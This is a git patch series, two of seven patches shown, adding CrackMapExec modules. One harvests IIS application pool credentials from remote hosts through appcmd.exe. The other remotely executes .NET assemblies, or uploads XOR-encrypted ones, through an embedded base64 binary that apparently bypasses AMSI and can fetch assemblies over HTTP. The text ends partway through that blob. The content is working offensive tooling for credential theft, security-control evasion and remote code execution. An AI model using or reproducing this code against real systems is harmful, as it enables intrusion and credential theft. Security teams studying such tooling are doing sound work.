From 6db8dafe978a5535ba8b7ef204d948dee3dde865 Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Fri, 28 Jul 2023 09:50:23 -0400 Subject: [PATCH 1/7] Extract credentials in IIS Application Pool configuration files Checks for credentials in IIS Application Pool configuration files using appcmd.exe --- cme/modules/appcmd.py | 87 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 cme/modules/appcmd.py diff --git a/cme/modules/appcmd.py b/cme/modules/appcmd.py new file mode 100644 index 00000000..8d3acff2 --- /dev/null +++ b/cme/modules/appcmd.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +class CMEModule: + + """ + Checks for credentials in IIS Application Pool configuration files using appcmd.exe. + + Module by Brandon Fisher @shad0wcntr0ller + """ + + name = 'appcmd' + description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe" + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + pass + + def options(self, context, module_options): + pass + + def on_login(self, context, connection): + self.check_appcmd(context, connection) + + def on_admin_login(self, context, connection): + self.check_appcmd(context, connection) + + def check_appcmd(self, context, connection): + + if not hasattr(connection, 'has_run'): + connection.has_run = False + + + if connection.has_run: + return + + connection.has_run = True + + + try: + connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe') + self.execute_appcmd(context, connection) + except: + context.log.error("appcmd.exe not found, this module is not applicable.") + return + + def execute_appcmd(self, context, connection): + command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"' + context.log.info(f'Checking For Hidden Credentials With Appcmd.exe') + output = connection.execute(command, True) + + + lines = output.splitlines() + username = "" + password = "" + + + credentials_set = set() + + for line in lines: + if "userName:" in line: + username = line.split("userName:")[1].strip().strip('"') + if "password:" in line: + password = line.split("password:")[1].strip().strip('"') + + if username and password: + + current_credentials = (username, password) + + if current_credentials not in credentials_set: + + credentials_set.add(current_credentials) + + context.log.success(f"Credentials Found") + + context.log.highlight(f"Username: {username}, Password: {password}") + + + username = "" + password = "" + + if not credentials_set: + context.log.error("No credentials found :( ") + + #context.log.success("Command executed successfully") + From b8f4ca792ad6b733275955134e0887688886172b Mon Sep 17 00:00:00 2001 From: Shad0wC0ntr0ller <90877534+Shad0wC0ntr0ller@users.noreply.github.com> Date: Mon, 31 Jul 2023 21:04:42 -0400 Subject: [PATCH 2/7] Execute Assembly remotely or upload an encrypted assembly Execute Assembly remotely or upload an encrypted assembly --- cme/modules/ExecuteAssembly.py | 164 +++++++++++++++++++++++++++++++++ 1 file changed, 164 insertions(+) create mode 100644 cme/modules/ExecuteAssembly.py diff --git a/cme/modules/ExecuteAssembly.py b/cme/modules/ExecuteAssembly.py new file mode 100644 index 00000000..634b0aac --- /dev/null +++ b/cme/modules/ExecuteAssembly.py @@ -0,0 +1,164 @@ +import base64 +import sys +import os +import random +import string +import tempfile +import subprocess +from impacket.smbconnection import SMBConnection +from itertools import cycle + + +def xor_encrypt(data, key): + return bytearray(a ^ b for a, b in zip(data, cycle(key))) + + +class CMEModule: + ''' + EXECUTE A REMOTE ASSEMBLY OR UPLOAD AN ENCRYPTED ASSEMBLY TO DISK WHICH IS THEN DECRYPTED AND EXECUTED USING A MODIFIED VERSION OF https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e + + MODULE BY BRANDON FISHER @shad0wcntr0ller + ''' + name = 'assembly' + description = "EXECUTE A REMOTE ASSEMBLY OR UPLOAD AN ENCRYPTED ASSEMBLY TO DISK WHICH IS THEN DECRYPTED AND EXECUTED USING A MODIFIED VERSION OF https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e" + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + + ''' + + ASSEMBLY_ARGS -> Arguments to be passed to the modifed version of https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e which is the assembly_embedded64 + + UPLOAD_ASSEMBLY -> Uploads an assembly from your localhost to the target machine + + XOR_KEY -> set a custom xor key to be applied to the assembly being uploaded, if not specified, xor_key 0x55 is applied + + ''' + + + if 'assembly_args' in module_options.keys(): + self.assembly_args = module_options['assembly_args'] + elif 'ASSEMBLY_ARGS' in module_options.keys(): + self.assembly_args = module_options['ASSEMBLY_ARGS'] + else: + self.assembly_args = '' + context.log.info(f'No assembly_args provided. Set self.assembly_args: {self.assembly_args}') + + if 'xor_key' in module_options.keys(): + self.xor_key = bytes(module_options['xor_key'], 'utf-8') + elif 'XOR_KEY' in module_options.keys(): + self.xor_key = bytes(module_options['XOR_KEY'], 'utf-8') + else: + self.xor_key = b'\x55' # Default value + + self.tmp_dir = module_options.get('tmp_dir', "C:\\windows\\temp\\") + self.share = "C$" + self.tmp_share = self.tmp_dir.split(":")[1] + self.assembly_embedded64 = base64.b64decode("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KQA0AGEAEQEAAAAAAFIxMABEcjAAUjExAElFbnVtZXJhYmxlYDEAUmVzZXJ2ZWQxAERyMQBSMTIAa2VybmVsMzIAUmVhZEludDMyAFdyaXRlSW50MzIAUmVzZXJ2ZWQyAERyMgBSMTMAUmVzZXJ2ZWQzAERyMwBSMTQAQ09OVEVYVDY0X0FNRDY0AFhTQVZFX0ZPUk1BVDY0AENPTlRFWFQ2NABVSW50NjQAUmVhZEludDY0AFRvSW50NjQAUmVzZXJ2ZWQ0AFIxNQBEcjYARHI3AGdldF9VVEY4AFI4AFI5ADxNb2R1bGU+AE0xMjhBAERCR19DT05UUk9MX0MARVhDRVBUSU9OX0FSUkFZX0JPVU5EU19FWENFRURFRABDUkVBVEVfU1VTUEVOREVEAERCR19FWENFUFRJT05fTk9UX0hBTkRMRUQARVhDRVBUSU9OX1JFQ09SRABDUkVBVEVfTkVXX0NPTlNPTEUARFVNTVlVTklPTk5BTUUAREJHX0NPTlRJTlVFAEVYQ0VQVElPTl9DT05USU5VRV9TRUFSQ0gAV2luQVBJAENPTlRFWFQ2NF9BTEwAQ09OVEVYVDY0X0ZVTEwAQ09OVEVYVDY0X0NPTlRST0wAQU1TSV9SRVNVTFRfQ0xFQU4ARVhDRVBUSU9OX0FDQ0VTU19WSU9MQVRJT04ARVhDRVBUSU9OX0NPTlRJTlVFX0VYRUNVVElPTgBTeXN0ZW0uSU8ARVhDRVBUSU9OX0lOVF9ESVZJREVfQllfWkVSTwBFWENFUFRJT05fU0lOR0xFX1NURVAAQ09OVEVYVDY0X0lOVEVHRVIAQ09OVEVYVDY0X0ZMQUdTAEVYQ0VQVElPTl9QT0lOVEVSUwBDT05URVhUNjRfREVCVUdfUkVHSVNURVJTAERFQlVHX1BST0NFU1MAQ09OVEVYVDY0X1NFR01FTlRTAEVYQ0VQVElPTl9EQVRBVFlQRV9NSVNBTElHTk1FTlQAT1VUUFVUX0RFQlVHX1NUUklOR19FVkVOVABDUkVBVEVfVEhSRUFEX0RFQlVHX0VWRU5UAEVYSVRfVEhSRUFEX0RFQlVHX0VWRU5UAFVOTE9BRF9ETExfREVCVUdfRVZFTlQARVhDRVBUSU9OX0RFQlVHX0VWRU5UAENSRUFURV9QUk9DRVNTX0RFQlVHX0VWRU5UAEVYSVRfUFJPQ0VTU19ERUJVR19FVkVOVABSSVBfRVZFTlQARVhDRVBUSU9OX0JSRUFLUE9JTlQAQ09OVEVYVDY0X0ZMT0FUSU5HX1BPSU5UAHZhbHVlX18ARG93bmxvYWREYXRhAG1zY29ybGliAGNtZUV4ZWMAZ2V0X0lzUHVibGljAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAGdldF9Jc1N0YXRpYwBoVGhyZWFkAExvYWQAR2V0TWV0aG9kAFRhZ1dvcmQAQ29udHJvbFdvcmQAU3RhdHVzV29yZABwRXhjZXB0aW9uUmVjb3JkAHBDb250ZXh0UmVjb3JkAENyZWF0ZUluc3RhbmNlAEV4Y2VwdGlvbkNvZGUARXJyb3JPcGNvZGUAZ2V0X01lc3NhZ2UASW52b2tlAEVudW1lcmFibGUAZ2V0X01ldGhvZEhhbmRsZQBSdW50aW1lTWV0aG9kSGFuZGxlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEZpbGUAQ29uc29sZQBoTW9kdWxlAGdldF9OYW1lAHByb2NOYW1lAGxwRmlsZU5hbWUAUDFIb21lAFAySG9tZQBQM0hvbWUAUDRIb21lAFA1SG9tZQBQNkhvbWUAV3JpdGVMaW5lAFZhbHVlVHlwZQBnZXRfRGVjbGFyaW5nVHlwZQBTZWN1cml0eVByb3RvY29sVHlwZQBnZXRfUGFyYW1ldGVyVHlwZQBTeXN0ZW0uQ29yZQBQdHJUb1N0cnVjdHVyZQBNZXRob2RCYXNlAGFtc2lCYXNlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUARmxhZ3NBdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEJ5dGUAbmV3VmFsdWUAY21lRXhlYy5leGUAU2l6ZU9mAEVuY29kaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcASGlnaABTdGFydHNXaXRoAFJkaQBSc2kATXhDc3JfTWFzawBBbGxvY0hHbG9iYWwATWFyc2hhbABLZXJuZWwzMi5kbGwAa2VybmVsMzIuZGxsAHNldF9TZWN1cml0eVByb3RvY29sAERlYnVnQ29udHJvbABWZWN0b3JDb250cm9sAFByb2dyYW0AU3lzdGVtAEVudW0ATWFpbgBFeGNlcHRpb25JbmZvcm1hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBSZWZsZWN0aW9uVHlwZUxvYWRFeGNlcHRpb24ATWV0aG9kSW5mbwBNZW1iZXJJbmZvAFBhcmFtZXRlckluZm8AUmJwAExhc3RCcmFuY2hGcm9tUmlwAExhc3RFeGNlcHRpb25Gcm9tUmlwAExhc3RCcmFuY2hUb1JpcABMYXN0RXhjZXB0aW9uVG9SaXAAU2tpcABSc3AAU3lzdGVtLkxpbnEAcEFtc2lTY2FuQnVmZmVyAFNlcnZpY2VQb2ludE1hbmFnZXIAQWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVyAEdldEZ1bmN0aW9uUG9pbnRlcgBWZWN0b3JSZWdpc3RlcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAERhdGFTZWxlY3RvcgBFcnJvclNlbGVjdG9yAE14Q3NyAFN0cnVjdHVyZVRvUHRyAFJlYWRJbnRQdHIAU2VnQ3MAU2VnRHMAU2VnRXMAU2VnRnMAU2VnR3MAU2VnU3MAU3lzdGVtLkRpYWdub3N0aWNzAEdldE1ldGhvZHMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAR2V0VHlwZXMAUmVhZEFsbEJ5dGVzAEdldEJ5dGVzAEVGbGFncwBCaW5kaW5nRmxhZ3MARXhjZXB0aW9uRmxhZ3MAQ29udGV4dEZsYWdzAGFyZ3MAZ2V0X0xvYWRlckV4Y2VwdGlvbnMAZXhjZXB0aW9ucwBOdW1iZXJQYXJhbWV0ZXJzAEdldFBhcmFtZXRlcnMAWG1tUmVnaXN0ZXJzAEZsb2F0UmVnaXN0ZXJzAFNldHVwQnlwYXNzAEdldFByb2NBZGRyZXNzAEV4Y2VwdGlvbkFkZHJlc3MAYWRkcmVzcwBTZXRCaXRzAGJpdHMARm9ybWF0AE9iamVjdABTeXN0ZW0uTmV0AERhdGFPZmZzZXQARXJyb3JPZmZzZXQAbG93Qml0AG9wX0V4cGxpY2l0AFdlYkNsaWVudABnZXRfRW50cnlQb2ludABGaW5kRW50cnlQb2ludABFbmFibGVCcmVha3BvaW50AFhvckRlY3J5cHQAVGVzdABGaXJzdABpbnB1dABTeXN0ZW0uVGV4dABHZXRUaHJlYWRDb250ZXh0AFNldFRocmVhZENvbnRleHQAbHBDb250ZXh0AGR3AExvdwBSYXgAUmJ4AFJjeABSZHgAaW5kZXgAcEN0eABjdHgAVG9BcnJheQB4b3JLZXkAQXNzZW1ibHkAYXNzZW1ibHkATG9hZExpYnJhcnkAb3BfRXF1YWxpdHkAb3BfSW5lcXVhbGl0eQBFbXB0eQAAZ1AAbABlAGEAcwBlACAAcAByAG8AdgBpAGQAZQAgAHQAaABlACAAcABhAHQAaAAvAFUAUgBMACAAZgBvAHIAIAB0AGgAZQAgAGwAbwBhAGQAZQBkACAAcAByAG8AZwByAGEAbQAuAAAJMAB4ADUANQAAD2gAdAB0AHAAOgAvAC8AABFoAHQAdABwAHMAOgAvAC8AAIC1UABsAGUAYQBzAGUAIABwAHIAbwB2AGkAZABlACAAWABPAFIAIABrAGUAeQAgAGEAbgBkACAAYQByAGcAdQBtAGUAbgB0AHMAIABmAG8AcgAgAHQAaABlACAAbABvAGEAZABlAGQAIABwAHIAbwBnAHIAYQBtAC4AIABVAHMAaQBuAGcAIABkAGUAZgBhAHUAbAB0ACAAWABPAFIAIABrAGUAeQAgAG8AZgAgADAAeAA1ADUAAFVUAGgAZQAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAbwBlAHMAIABuAG8AdAAgAGgAYQB2AGUAIABh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